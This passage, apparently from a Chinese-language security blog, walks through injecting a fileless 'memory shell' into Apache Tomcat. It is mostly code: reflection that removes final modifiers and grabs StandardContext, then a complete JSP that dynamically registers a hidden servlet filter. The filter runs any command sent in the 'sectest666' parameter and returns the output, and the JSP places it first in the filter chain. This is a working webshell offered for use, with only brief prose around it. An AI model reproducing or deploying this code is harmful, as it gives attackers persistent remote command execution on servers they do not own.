modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

//设置允许访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);

//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
if(!WRAP_SAME_OBJECT.getBoolean(null)){
WRAP_SAME_OBJECT.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
}else{
ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null);
javax.servlet.ServletRequest request = threadLocalRequest.get();

try {
javax.servlet.ServletContext servletContext=request.getServletContext();


}catch (Exception e){
e.printStackTrace();
}
}

}catch (Exception e){
e.printStackTrace();
}

​ 由于动态注册Filter需要修改standardContext的state属性,因此我们需要standardContext对象,此处的servletContext实际上时ApplicationContextFacade对象,通过servletContext可以获取到StandardContext对象。

1
2
3
4
5
6
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); //获取servletContext对象
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); //获取standardContext对象

image-20201229115530952

​ 后面的实现和MBeanServer类似,直接给出JSP文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>

<html>
<head>
<title>servletContext</title>
</head>
<body>
<%!
/**
* @author REInject
*/
public class TomcatShellFilter implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "sectest666";

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}
%>
<%
final String filterName = "TomcatFilterShell";
final String filterUrlPattern = "/xxxxxxx/*";
try{
//获取各字段
java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");

//去掉final修饰符
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

//设置允许访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);

//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
if(!WRAP_SAME_OBJECT.getBoolean(null)){
WRAP_SAME_OBJECT.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
out.println("WRAP_SAME_OBJECT change success!please try again for Inject Filter");
}else{
ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null);
javax.servlet.ServletRequest request1 = threadLocalRequest.get();

try {
//获取servletContext
javax.servlet.ServletContext servletContext=request1.getServletContext();
//获取applicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
if (applicationContext.getFilterRegistration(filterName) == null && standardContext != null) {
Filter tomcatShellFilter = new TomcatShellFilter();
javax.servlet.FilterRegistration.Dynamic filterRegistration = applicationContext
.addFilter(filterName, tomcatShellFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});

Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
out.println("Filter has been Inject,please visit /xxxxxxx/xx?sectest666=whoami");
}
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);


}catch (Exception e){
e.printStackTrace();
}
}

}catch (Exception e){
e.printStackTrace();
}

%>
</body>
</html>